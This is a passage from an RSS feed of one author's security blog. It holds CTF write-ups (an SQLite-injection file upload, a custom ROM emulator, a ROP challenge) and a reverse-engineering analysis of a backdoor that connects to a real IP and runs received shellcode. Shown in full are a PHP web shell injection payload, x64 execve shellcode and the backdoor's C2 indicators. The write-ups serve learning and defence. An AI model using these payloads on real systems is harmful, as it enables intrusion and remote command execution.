file definitely stands out. We need to be able to inject random bytes and have it returned by finfo:</p><pre>root@0c653a405e70:/files# php test.php 7774<br>7774:TeX DVI file (ello this is aneesh&#39;-- we have sqlite injection)</pre><p>You can easily edit out the part after the header and we have an SQLite injection :). From this point onwards things are breezy.</p><p>Note: Our payload has a length limitation so we can’t just do this:</p><pre>ATTACH DATABASE &#39;/var/www/lol.php&#39; AS lol;<br>CREATE TABLE lol.pwn (dataz text);<br>INSERT INTO lol.pwn (dataz) VALUES (&#39;&lt;?system($_GET[&#39;cmd&#39;]); ?&gt;&#39;);--</pre><p>we have to split it up and use minimum characters:</p><ol><li>Create the database file as .php and create a table that we will insert into next.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*t8gnGsFMuXM0VrcgRdMyQg.png" /><figcaption>payload1</figcaption></figure><p>payload1 <a href="https://drive.google.com/file/d/1d30CihUUn8DQCaykmpn76GuvwKSJdzHt/view?usp=sharing">here</a>.</p><p>2. Insert PHP code into our table and execute “cat /*”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*pViBrpSq8tJgvs-MFs2JxQ.png" /></figure><p>payload2 <a href="https://drive.google.com/file/d/1daoqMDEsN37ZE_dgkvCTOF5KT02Xlbgq/view?usp=sharing">here</a>.</p><p>Let’s try to upload these in order and checkout lol.php.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/396/1*IS_8YZb98_iJ7FdBHMBc1A.png" /><figcaption>uploads</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FEr0OrMnLSqgQ62Zsded7w.png" /><figcaption>flag</figcaption></figure><p>What an amazing challenge. Learned a lot about SQLite injections and file formats. Thanks, hxp!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6cb5964c3238" width="1" height="1" alt=""><hr><p><a href="https://medium.com/aneesh-dogras-blog/file-magician-36c3-ctf-6cb5964c3238">File Magician, 36c3 ctf</a> was originally published in <a href="https://medium.com/aneesh-dogras-blog">Aneesh Dogra’s Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reversing an 8bit RISC microprocessor]]></title>
            <link>https://medium.com/aneesh-dogras-blog/reversing-an-8bit-risc-microprocessor-d1d26f0c7684?source=rss----84fa080536a8---4</link>
            <guid isPermaLink="false">https://medium.com/p/d1d26f0c7684</guid>
            <category><![CDATA[risc]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Aneesh Dogra]]></dc:creator>
            <pubDate>Mon, 23 Dec 2019 11:07:32 GMT</pubDate>
            <atom:updated>2019-12-24T16:52:32.296Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Hey! We have found this old cartridge under a desk in the library of Lapland. It appears to be for a system called “Emu 2.0”, made back in 1978. These systems don’t get produced anymore, and we can’t seem to find anyone that owns one.<br> <br> Thankfully we have the documentation for it, so maybe we can use it to write an emulator and see what this ROM does?<br> <br> Files: <a href="https://drive.google.com/drive/folders/1O2cPJq56G0APoBIAOhXuxJsXE11WCmu-?usp=sharing">folder</a><br> <strong>Author: Milkdrop</strong></blockquote><p>The “Emu 2.0” is an 8bit RISC microprocessor. This is a CTF problem from the recent X-Mas CTF 2019. It has two registers, the first being A (Accumulator), an 8bit register used for arithmetic and logic calculations. The second register is called PC (Program Counter), which is a 12bit register used to point the address in RAM of the current instruction that the microprocessor needs to execute.</p><p>We are given a custom ROM and some documentation about the architecture and instruction set.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*eC98woyzG4hfRZ0KKgm1Ew.png" /><figcaption>Instruction set</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*qr86V3OmQwj-WOL_RMREiQ.png" /><figcaption>Instruction Set continued</figcaption></figure><p>The ROM we are given uses the opcodes/hex codes described above. We need to write an interpreter for these opcodes and emulate the ROM, to get the flag.</p><p>The opcodes itself aren’t printable. Let&#39;s write a parser for these instructions and see what we get.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*alKxaGJ7Dj-uXcTDEJ8YJA.png" /><figcaption>Unprintable Hex values</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*LRvgu4jjNMnDaeL-c4nKww.png" /><figcaption>Startup</figcaption></figure><pre>state = {&#39;a&#39;: 0, &#39;pc&#39;: 0x100}<br>fp = open(&quot;rom&quot;, &quot;rb&quot;)                                                                                                                                                                        <br>bs = fp.read()                                                                                                                                                                                <br>mem = list(&#39;0&#39; * 0x200 + bs.encode(&#39;hex&#39;).lower())</pre><p>We set the initial state variables and read the ROM into memory. As suggested in the documentation we set the initial 0x100 bytes to 0 and load the ROM starting at address 0x100.</p><p>We start iterating over opcodes starting at 0x100:</p><pre>while state[&#39;pc&#39;] &lt; len(bs):                                                                                                                                                                  <br>    if state[&#39;pc&#39;] == 0x408:                                                                                                                                                                  <br>        break                                                                                                                                                                                 <br>    x = state[&#39;pc&#39;] * 2                                                                                                                                                                       <br>    opcode = &#39;&#39;.join(mem[x:x+2])                                                                                                                                                              <br>    second = &#39;&#39;.join(mem[x+2:x+4])                                                                                                                                                            <br>    argument = second                                                                                                                                                                         <br>    if opcode[0] == &quot;8&quot; or opcode[0] == &quot;2&quot; or opcode[0] == &quot;3&quot; or opcode[0] == &quot;4&quot; or opcode[0] == &quot;5&quot; or opcode[0] == &quot;7&quot; or opcode[0] == &quot;9&quot; or opcode[0] == &quot;a&quot; or opcode[0] == &quot;c&quot;:      <br>        argument = opcode[1] + argument                                                                                                                                                       <br>    elif opcode[0] == &quot;d&quot;:                                                                                                                                                                    <br>        argument = opcode[1] + argument                                                                                                                                                       <br>    elif opcode[0] == &quot;f&quot;:                                                                                                                                                                    <br>        argument = opcode[1] + argument                                                                                                                                                       <br>    ins, jumped = parse_opcode(opcode, argument)                                                                                                                                              <br>    # only increment &#39;pc&#39; if last instruction was not a jmp                                                                                                                                   <br>                                                                                                                                                                                              <br>    #print hex(x/2) + &quot;&gt;&quot;, ins, argument, &quot;;&quot;, &quot;a:&quot;, state[&#39;a&#39;]                                                                                                                               <br>    if not jumped:                                                                                                                                                                            <br>        state[&#39;pc&#39;] += 2                                                                                                                                                                      <br>    #x += 2                                                                                                                                                                                   <br>    #print state[&#39;pc&#39;]</pre><p>We need to adjust offset of our arguments depending on the opcode. For instance:</p><ul><li>Opcode 2X XX: takes in 3 nibbles as argument and jumps there.</li><li>while Opcode 60 XX: taken in just 2 nibbles as argument.</li></ul><p>After we have the valid argument and opcodes parsed, we shall start parsing the instructions and executing the program in our emulator.</p><pre>def parse_opcode(opcode, arg):<br>    global state<br>    global mem<br>    global blocked_addrs<br>    jumped = False<br>    x = int(arg, base=16)</pre><pre>    if opcode == &quot;00&quot;:<br>        state[&#39;a&#39;] += x<br>        state[&#39;a&#39;] = state[&#39;a&#39;] &amp; 0xff<br>        return &quot;add&quot;, jumped<br>    elif opcode == &quot;01&quot;:<br>        state[&#39;a&#39;] = x<br>        return &quot;set_a&quot;, jumped<br>    elif opcode == &quot;02&quot;:<br>        #print state[&#39;a&#39;], x, state[&#39;a&#39;] ^ x<br>        state[&#39;a&#39;] ^= x<br>        return &quot;xor_a&quot;, jumped<br>    ....<br>    ....<br>    snipped<br>    ....<br>    ....</pre><pre>    elif opcode == &quot;13&quot;:<br>        if x == 0x37:<br>            print chr(state[&#39;a&#39;])<br>            return &quot;print&quot;, jumped<br>        else:<br>            state[&#39;a&#39;] -= 1<br>            return &quot;invalid&quot;, jumped<br>    else:<br>        state[&#39;a&#39;] -= 1<br>        return &quot;invalid&quot;, jumped<br>    state[&#39;a&#39;] &amp;= 0xff<br>    return opcode, jumped</pre><p>You should also note that the processor has some quirks for invalid instructions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*nRBQ8r9rGhrW-7pM4aqsSA.png" /><figcaption>quirk</figcaption></figure><p>So for all invalid opcodes (if any), we need to decrement the register A. Taking all these things in mind, here is the final emulator for this ROM:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/8bb92587f461a99ec33eb36600c3ae71/href">https://medium.com/media/8bb92587f461a99ec33eb36600c3ae71/href</a></iframe><p>I commented out the part where it prints the instructions getting executed (line 146). Here you can see the ROM is parsed and instructions are converted into more readable ones:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*GFQeylsFjVemOnNgnyBthA.png" /><figcaption>Custom Rom</figcaption></figure><p>We also added functionality to execute instructions in python and maintain our state variables ‘A’ and ‘PC’ accordingly. Lets only get the output of the print instructions “13 37”</p><pre>elif opcode == &quot;13&quot;:                                                                                                                                                                      <br>    if x == 0x37:                                                                                                                                                                         <br>      print chr(state[&#39;a&#39;])                                                                                                                                                             </pre><p>Here we have our flag:</p><pre>$ python parse_rom.py | tr -d ‘\n’ | xargs echo<br>X-MAS{S4nt4_U5e5_An_Emu_2.0_M4ch1n3}</pre><p>This was my first time ever I got to disassemble a custom ROM from scratch. Even tho the instruction set was quite limited, it was still a fun learning experience. Thank you for reading :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d1d26f0c7684" width="1" height="1" alt=""><hr><p><a href="https://medium.com/aneesh-dogras-blog/reversing-an-8bit-risc-microprocessor-d1d26f0c7684">Reversing an 8bit RISC microprocessor</a> was originally published in <a href="https://medium.com/aneesh-dogras-blog">Aneesh Dogra’s Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reversing a real-world 249 bytes backdoor!]]></title>
            <link>https://medium.com/aneesh-dogras-blog/reversing-a-real-world-249-bytes-backdoor-aadd876c0a32?source=rss----84fa080536a8---4</link>
            <guid isPermaLink="false">https://medium.com/p/aadd876c0a32</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[assembly-language]]></category>
            <category><![CDATA[backdoor]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Aneesh Dogra]]></dc:creator>
            <pubDate>Mon, 16 Dec 2019 10:23:08 GMT</pubDate>
            <atom:updated>2023-04-24T03:56:02.230Z</atom:updated>
            <content:encoded><![CDATA[<p>A wild backdoor has appeared. Press 1 to ptrace :D</p><p>While going though some vulnerable servers I was able to find a backdoor present that is only 249 bytes long. The backdoor’s md5sum is 93363683dcf1ccc4db296fa5fde69b71 and is undetected on virustotal and other threat intelligence websites. Reversing this binary gave us insights on how malware authors are using techniques to make their backdoors undetectable and hard to analyze or even reverse engineer. Here’s the <a href="https://github.com/lionaneesh/backdoors/blob/master/pay.bin">sample</a>.</p><pre>lionaneesh@d4rkc0de:~$ file pay.bin <br>pay.bin: ELF 64-bit LSB executable, x86–64, version 1 (SYSV), statically linked, corrupted section header size<br>lionaneesh@d4rkc0de:~$</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*A78Mi8xr0qGonw3oyheIBw.png" /><figcaption>Backdoor</figcaption></figure><p>The binary has stripped all debugging symbols and has a corrupted header. GDB is not able to find the entry point to this binary.</p><pre>lionaneesh@d4rkc0de:~$ gdb pay.bin <br>GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1<br>Copyright (C) 2016 Free Software Foundation, Inc.<br>License GPLv3+: GNU GPL version 3 or later &lt;<a href="http://gnu.org/licenses/gpl.html">http://gnu.org/licenses/gpl.html</a>&gt;<br>This is free software: you are free to change and redistribute it.<br>There is NO WARRANTY, to the extent permitted by law.  Type &quot;show copying&quot;<br>and &quot;show warranty&quot; for details.<br>This GDB was configured as &quot;x86_64-linux-gnu&quot;.<br>Type &quot;show configuration&quot; for configuration details.<br>For bug reporting instructions, please see:<br>&lt;<a href="http://www.gnu.org/software/gdb/bugs/">http://www.gnu.org/software/gdb/bugs/</a>&gt;.<br>Find the GDB manual and other documentation resources online at:<br>&lt;<a href="http://www.gnu.org/software/gdb/documentation/">http://www.gnu.org/software/gdb/documentation/</a>&gt;.<br>For help, type &quot;help&quot;.<br>Type &quot;apropos word&quot; to search for commands related to &quot;word&quot;...<br>Reading symbols from pay.bin...(no debugging symbols found)...done.<br>gdb-peda$ info file<br>Symbols from &quot;/home/lionaneesh/pay.bin&quot;.<br>gdb-peda$ info functions <br>All defined functions:<br>gdb-peda$ break *_start<br>No symbol table is loaded.  Use the &quot;file&quot; command.<br>gdb-peda$</pre><p>No straight forward way to actually go and disassemble the binary. Radare2 to the rescue, it manages to find the entry point for us.</p><pre>lionaneesh@d4rkc0de:~/backdoors$ r2 pay.bin <br>[0x00400078]&gt; ii<br>[Imports]</pre><pre>0 imports<br>[0x00400078]&gt; ie<br>[Entrypoints]<br>addr=0x00400078 off=0x00000078 baddr=0x00400000</pre><pre>1 entrypoints</pre><p>The binary start executing at 0x00400078. The binary is so small in size, which suggests it&#39;s been handwritten in assembly. No such compiler artefacts or anything of that sorts exists.</p><pre>Using strace we can easily find out what system calls its executing:</pre><pre>lionaneesh@d4rkc0de:~/backdoors$ strace ./pay.bin <br><strong>execve(“./pay.bin”, [“./pay.bin”], [/* 39 vars */]) = 0</strong><br><strong>mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) = 0x7fee0b81d000</strong><br><strong>socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3</strong><br><strong>connect(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr(“104.248.237.194”)}, 16) = -1 ECONNREFUSED (Connection refused)</strong><br><strong>nanosleep({5, 0},</strong></pre><p>Apparently it tries to make a socket and connect to the IP address: <strong>104.248.237.194</strong> on port number <strong>1337</strong>. This IP address is owned by Digital Ocean. To debug further lets setup an IPtables rule, so that all the traffic going to that IP is redirected to localhost.</p><pre>sudo iptables -t nat -A OUTPUT -p all -d 104.248.237.194 -j DNAT --to-destination 127.0.0.1</pre><p>Set up a listener on port 1337:</p><pre>nc -lvp 31337</pre><p>Let&#39;s try to run the binary and see what it does:</p><pre>lionaneesh@d4rkc0de:~/dirsearch/DirBuster$ nc -lvp 1337<br>Listening on [0.0.0.0] (family 0, port 1337)<br>Connection from [d4rkc0de.com] port 1337 [tcp/*] accepted (family 2, sport 44170)<br>AAAA</pre><p>We get a connection, trying to send a couple of random bytes:</p><pre>Program received signal SIGSEGV, Segmentation fault.<br>[----------------------------------registers-----------------------------------]<br>RAX: 0x5 <br>RBX: 0x0 <br>RCX: 0x4000f2 --&gt; 0xe6ffef78c08548 <br>RDX: 0x1000 <br>RSI: 0x7ffff7ffa000 --&gt; 0xa41414141 (&#39;AAAA\n&#39;)<br>RDI: 0x3 <br>RBP: 0x0 <br>RSP: 0x7fffffffe110 --&gt; 0x1 <br>RIP: 0x7ffff7ffa000 --&gt; 0xa41414141 (&#39;AAAA\n&#39;)<br>R8 : 0x0 <br>R9 : 0xa (&#39;\n&#39;)<br>R10: 0x22 (&#39;&quot;&#39;)<br>R11: 0x246 <br>R12: 0x0 <br>R13: 0x0 <br>R14: 0x0 <br>R15: 0x0<br>EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)<br>[-------------------------------------code-------------------------------------]<br>=&gt; 0x7ffff7ffa000:      rex.B<br>   0x7ffff7ffa001:      rex.B<br>   0x7ffff7ffa002:      rex.B<br>   0x7ffff7ffa003:      or     al,BYTE PTR [r8]<br>[------------------------------------stack-------------------------------------]<br>0000| 0x7fffffffe110 --&gt; 0x1 <br>0008| 0x7fffffffe118 --&gt; 0x7fffffffe3d6 (&quot;/home/lionaneesh/pay.bin&quot;)<br>0016| 0x7fffffffe120 --&gt; 0x0 <br>0024| 0x7fffffffe128 --&gt; 0x7fffffffe3ef (&quot;XDG_SESSION_ID=144197&quot;)<br>0032| 0x7fffffffe130 --&gt; 0x7fffffffe405 (&quot;rvm_bin_path=/home/lionaneesh/.rvm/bin&quot;)<br>0040| 0x7fffffffe138 --&gt; 0x7fffffffe42c (&quot;GEM_HOME=/home/lionaneesh/.rvm/gems/ruby-2.4.2&quot;)<br>0048| 0x7fffffffe140 --&gt; 0x7fffffffe45b (&quot;TERM=screen&quot;)<br>0056| 0x7fffffffe148 --&gt; 0x7fffffffe467 (&quot;SHELL=/bin/bash&quot;)<br>[------------------------------------------------------------------------------]<br>Legend: code, data, rodata, value<br>Stopped reason: SIGSEGV<br>0x00007ffff7ffa000 in ?? ()<br>gdb-peda$</pre><p>We see that the input we provided is written to the mmapped segment and execution is passed on to it. Currently, we get a segmentation fault as AAAA is not a valid opcode. Let&#39;s try to give it a known shellcode for x64:</p><pre>lionaneesh@d4rkc0de:~/dirsearch/DirBuster$ python -c “print ‘\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05’” | nc -lvp 1337<br>Listening on [0.0.0.0] (family 0, port 1337)</pre><p>The program jumps to our input at 0x4000f7:</p><pre>[ — — — — — — — — — — — — — — — — — registers — — — — — — — — — — — — — — — — — -]<br>RAX: 0x1c <br>RBX: 0x0 <br>RCX: 0x4000f2 → 0xe6ffef78c08548 <br>RDX: 0x1000 <br>RSI: 0x7ffff7ffa000 → 0x91969dd1bb48c031 <br>RDI: 0x3 <br>RBP: 0x0 <br>RSP: 0x7fffffffe110 → 0x1 <br>RIP: 0x4000f7 → 0xe6ff <br>R8 : 0x0 <br>R9 : 0xa (‘\n’)<br>R10: 0x22 (‘“‘)<br>R11: 0x246 <br>R12: 0x0 <br>R13: 0x0 <br>R14: 0x0 <br>R15: 0x0<br>EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)<br>[ — — — — — — — — — — — — — — — — — — -code — — — — — — — — — — — — — — — — — — -]<br> 0x4000f0: syscall <br> 0x4000f2: test rax,rax<br> 0x4000f5: js 0x4000e6<br>=&gt; 0x4000f7: jmp rsi<br> | 0x4000f9: add BYTE PTR [rax],al<br> | 0x4000fb: add BYTE PTR [rax],al<br> | 0x4000fd: add BYTE PTR [rax],al<br> | 0x4000ff: add BYTE PTR [rax],al<br> |-&gt; 0x7ffff7ffa000: xor eax,eax<br> 0x7ffff7ffa002: movabs rbx,0xff978cd091969dd1<br> 0x7ffff7ffa00c: neg rbx<br> 0x7ffff7ffa00f: push rbx<br> JUMP is taken<br>[ — — — — — — — — — — — — — — — — — — stack — — — — — — — — — — — — — — — — — — -]<br>0000| 0x7fffffffe110 → 0x1 <br>0008| 0x7fffffffe118 → 0x7fffffffe3d6 (“/home/lionaneesh/pay.bin”)<br>0016| 0x7fffffffe120 → 0x0 <br>0024| 0x7fffffffe128 → 0x7fffffffe3ef (“XDG_SESSION_ID=144197”)<br>0032| 0x7fffffffe130 → 0x7fffffffe405 (“rvm_bin_path=/home/lionaneesh/.rvm/bin”)<br>0040| 0x7fffffffe138 → 0x7fffffffe42c (“GEM_HOME=/home/lionaneesh/.rvm/gems/ruby-2.4.2”)<br>0048| 0x7fffffffe140 → 0x7fffffffe45b (“TERM=screen”)<br>0056| 0x7fffffffe148 → 0x7fffffffe467 (“SHELL=/bin/bash”)<br>[ — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — ]<br>Legend: code, data, rodata, value</pre><pre>Breakpoint 3, 0x00000000004000f7 in ?? ()<br>gdb-peda$</pre><p>We see our payload is there, let continue:</p><pre>gdb-peda$ c<br>Continuing.<br>process 14586 is executing new program: /bin/dash</pre><p>Epic! This 249 byte backdoor can run any shellcode we give it. The attackers can deploy it on an offshore IP address and execute arbitrary instructions on the victim’s box.</p><p><strong>IOCs:</strong></p><ul><li>104.248.237.194</li><li>1337</li><li>93363683dcf1ccc4db296fa5fde69b71 (md5)</li><li>0d4570ae80f9fca2d4b68a7f4b88dd0eb2df3573 (sha-1)</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aadd876c0a32" width="1" height="1" alt=""><hr><p><a href="https://medium.com/aneesh-dogras-blog/reversing-a-real-world-249-bytes-backdoor-aadd876c0a32">Reversing a real-world 249 bytes backdoor!</a> was originally published in <a href="https://medium.com/aneesh-dogras-blog">Aneesh Dogra’s Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ROPing Horcruxes, pwnable.kr]]></title>
            <link>https://medium.com/aneesh-dogras-blog/roping-horcruxes-pwnable-kr-58d541b774d?source=rss----84fa080536a8---4</link>
            <guid isPermaLink="false">https://medium.com/p/58d541b774d</guid>
            <category><![CDATA[computer-security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Aneesh Dogra]]></dc:creator>
            <pubDate>Thu, 28 Nov 2019 08:36:40 GMT</pubDate>
            <atom:updated>2019-11-28T08:36:40.388Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Voldemort concealed his splitted soul inside 7 horcruxes.<br>Find all horcruxes, and ROP it!<br>author: jiwon choi</blockquote><blockquote>ssh <a href="/service/mailto:horcruxes@pwnable.kr">horcruxes@pwnable.kr</a> -p2222 (pw:guest)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QDm-4U5Lqtr7z2iP0qjrLw.png" /><figcaption>Horcruxes</figcaption></figure><p>Horcruxes is a 32bit ELF binary that initializes 7 of Voldemort’s horcuxes in memory. There horcuxes has random constants that we need to leak out to allow us to beat Voldemort.</p><pre>horcruxes@prowl:~$ ./horcruxes <br>Voldemort concealed his splitted soul inside 7 horcruxes.<br>Find all horcruxes, and destroy it!</pre><pre>Select Menu:222<br>How many EXP did you earned? : 2222<br>You&#39;d better get more experience to kill Voldemort</pre><p>Lets see what exactly is EXP and how do we predict it to kill voldemort. This is the main subroutine:</p><pre>gdb-peda$ disassemble main <br>Dump of assembler code for function main:<br>   0x0809ff24 &lt;+0&gt;:     lea    ecx,[esp+0x4]<br>   0x0809ff28 &lt;+4&gt;:     and    esp,0xfffffff0<br>   0x0809ff2b &lt;+7&gt;:     push   DWORD PTR [ecx-0x4]<br>   0x0809ff2e &lt;+10&gt;:    push   ebp<br>   0x0809ff2f &lt;+11&gt;:    mov    ebp,esp<br>   0x0809ff31 &lt;+13&gt;:    push   ecx<br>   0x0809ff32 &lt;+14&gt;:    sub    esp,0x14<br>   0x0809ff35 &lt;+17&gt;:    mov    eax,ds:0x80a2064<br>   0x0809ff3a &lt;+22&gt;:    push   0x0<br>   0x0809ff3c &lt;+24&gt;:    push   0x2<br>   0x0809ff3e &lt;+26&gt;:    push   0x0<br>   0x0809ff40 &lt;+28&gt;:    push   eax<br>   0x0809ff41 &lt;+29&gt;:    call   0x809fcf0 &lt;setvbuf@plt&gt;<br>   0x0809ff46 &lt;+34&gt;:    add    esp,0x10<br>   0x0809ff49 &lt;+37&gt;:    mov    eax,ds:0x80a2060<br>   0x0809ff4e &lt;+42&gt;:    push   0x0<br>   0x0809ff50 &lt;+44&gt;:    push   0x2<br>   0x0809ff52 &lt;+46&gt;:    push   0x0<br>   0x0809ff54 &lt;+48&gt;:    push   eax<br>   0x0809ff55 &lt;+49&gt;:    call   0x809fcf0 &lt;setvbuf@plt&gt;<br>   0x0809ff5a &lt;+54&gt;:    add    esp,0x10<br>   0x0809ff5d &lt;+57&gt;:    sub    esp,0xc<br>   0x0809ff60 &lt;+60&gt;:    push   0x3c<br>   0x0809ff62 &lt;+62&gt;:    call   0x809fc90 &lt;alarm@plt&gt;<br>   0x0809ff67 &lt;+67&gt;:    add    esp,0x10<br><strong>   0x0809ff6a &lt;+70&gt;:    call   0x80a0324 &lt;hint&gt;</strong><br><strong>   0x0809ff6f &lt;+75&gt;:    call   0x80a0177 &lt;init_ABCDEFG&gt;</strong><br>   0x0809ff74 &lt;+80&gt;:    sub    esp,0xc<br>   0x0809ff77 &lt;+83&gt;:    push   0x0<br>   0x0809ff79 &lt;+85&gt;:    call   0x809fc20 &lt;seccomp_init@plt&gt;<br>   0x0809ff7e &lt;+90&gt;:    add    esp,0x10<br>   0x0809ff81 &lt;+93&gt;:    mov    DWORD PTR [ebp-0xc],eax<br>   0x0809ff84 &lt;+96&gt;:    push   0x0<br>   0x0809ff86 &lt;+98&gt;:    push   0xad<br>   0x0809ff8b &lt;+103&gt;:   push   0x7fff0000<br>   0x0809ff90 &lt;+108&gt;:   push   DWORD PTR [ebp-0xc]<br>   0x0809ff93 &lt;+111&gt;:   call   0x809fc60 &lt;seccomp_rule_add@plt&gt;<br>   0x0809ff98 &lt;+116&gt;:   add    esp,0x10<br>   0x0809ff9b &lt;+119&gt;:   push   0x0<br>   0x0809ff9d &lt;+121&gt;:   push   0x5<br>   0x0809ff9f &lt;+123&gt;:   push   0x7fff0000<br>   0x0809ffa4 &lt;+128&gt;:   push   DWORD PTR [ebp-0xc]<br>   0x0809ffa7 &lt;+131&gt;:   call   0x809fc60 &lt;seccomp_rule_add@plt&gt;<br>   0x0809ffac &lt;+136&gt;:   add    esp,0x10<br>   0x0809ffaf &lt;+139&gt;:   push   0x0<br>   0x0809ffb1 &lt;+141&gt;:   push   0x3<br>   0x0809ffb3 &lt;+143&gt;:   push   0x7fff0000<br>   0x0809ffb8 &lt;+148&gt;:   push   DWORD PTR [ebp-0xc]<br>   0x0809ffbb &lt;+151&gt;:   call   0x809fc60 &lt;seccomp_rule_add@plt&gt;<br>   0x0809ffc0 &lt;+156&gt;:   add    esp,0x10<br>   0x0809ffc3 &lt;+159&gt;:   push   0x0<br>   0x0809ffc5 &lt;+161&gt;:   push   0x4<br>   0x0809ffc7 &lt;+163&gt;:   push   0x7fff0000<br>   0x0809ffcc &lt;+168&gt;:   push   DWORD PTR [ebp-0xc]<br>   0x0809ffcf &lt;+171&gt;:   call   0x809fc60 &lt;seccomp_rule_add@plt&gt;<br>   0x0809ffd4 &lt;+176&gt;:   add    esp,0x10<br>   0x0809ffd7 &lt;+179&gt;:   push   0x0<br>   0x0809ffd9 &lt;+181&gt;:   push   0xfc<br>   0x0809ffde &lt;+186&gt;:   push   0x7fff0000<br>   0x0809ffe3 &lt;+191&gt;:   push   DWORD PTR [ebp-0xc]<br>   0x0809ffe6 &lt;+194&gt;:   call   0x809fc60 &lt;seccomp_rule_add@plt&gt;<br>   0x0809ffeb &lt;+199&gt;:   add    esp,0x10<br>   0x0809ffee &lt;+202&gt;:   sub    esp,0xc<br>   0x0809fff1 &lt;+205&gt;:   push   DWORD PTR [ebp-0xc]<br>   0x0809fff4 &lt;+208&gt;:   call   0x809fc80 &lt;seccomp_load@plt&gt;<br>   0x0809fff9 &lt;+213&gt;:   add    esp,0x10<br><strong>   0x0809fffc &lt;+216&gt;:   call   0x80a0009 &lt;ropme&gt;</strong><br>   0x080a0001 &lt;+221&gt;:   mov    ecx,DWORD PTR [ebp-0x4]<br>   0x080a0004 &lt;+224&gt;:   leave  <br>   0x080a0005 &lt;+225&gt;:   lea    esp,[ecx-0x4]<br>   0x080a0008 &lt;+228&gt;:   ret    <br>End of assembler dump.<br>gdb-peda$ <br>[main_tmux&lt;g-off.tower-research.com[adogra]</pre><p>init_ABCDEFG initializes our 7 horcruxes in memory.</p><pre>gdb-peda$ disassemble init_ABCDEFG<br>Dump of assembler code for function init_ABCDEFG:<br>   0x080a0177 &lt;+0&gt;:     push   ebp<br>   0x080a0178 &lt;+1&gt;:     mov    ebp,esp<br>   0x080a017a &lt;+3&gt;:     sub    esp,0x18<br>   0x080a017d &lt;+6&gt;:     sub    esp,0x8<br>   0x080a0180 &lt;+9&gt;:     push   0x0<br>   0x080a0182 &lt;+11&gt;:    push   0x80a0577<br>   0x080a0187 &lt;+16&gt;:    call   0x809fcc0 &lt;open@plt&gt;<br>   0x080a018c &lt;+21&gt;:    add    esp,0x10<br>   0x080a018f &lt;+24&gt;:    mov    DWORD PTR [ebp-0xc],eax<br>   0x080a0192 &lt;+27&gt;:    sub    esp,0x4<br>   0x080a0195 &lt;+30&gt;:    push   0x4<br>   0x080a0197 &lt;+32&gt;:    lea    eax,[ebp-0x10]<br>   0x080a019a &lt;+35&gt;:    push   eax<br>   0x080a019b &lt;+36&gt;:    push   DWORD PTR [ebp-0xc]<br>   0x080a019e &lt;+39&gt;:    call   0x809fc30 &lt;read@plt&gt;<br>   0x080a01a3 &lt;+44&gt;:    add    esp,0x10<br>   0x080a01a6 &lt;+47&gt;:    cmp    eax,0x4<br>   0x080a01a9 &lt;+50&gt;:    je     0x80a01c5 &lt;init_ABCDEFG+78&gt;<br>   0x080a01ab &lt;+52&gt;:    sub    esp,0xc<br>   0x080a01ae &lt;+55&gt;:    push   0x80a0584<br>   0x080a01b3 &lt;+60&gt;:    call   0x809fca0 &lt;puts@plt&gt;<br>   0x080a01b8 &lt;+65&gt;:    add    esp,0x10<br>   0x080a01bb &lt;+68&gt;:    sub    esp,0xc<br>   0x080a01be &lt;+71&gt;:    push   0x0<br>   0x080a01c0 &lt;+73&gt;:    call   0x809fcb0 &lt;exit@plt&gt;<br>   .<br>   .</pre><pre>   0x080a01df &lt;+104&gt;:   add    esp,0x10<br><strong>   0x080a01e2 &lt;+107&gt;:   call   0x809fd00 &lt;rand@plt&gt;<br>   0x080a01e7 &lt;+112&gt;:   imul   edx,eax,0xdeadbeef<br>   